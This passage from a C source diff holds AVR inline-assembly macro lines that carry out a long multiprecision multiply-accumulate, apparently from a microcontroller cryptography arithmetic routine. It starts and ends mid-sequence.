\n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r10, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r11, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r6, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r6, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r18, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r6, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r19, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r20, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r15 \n\t" \ + 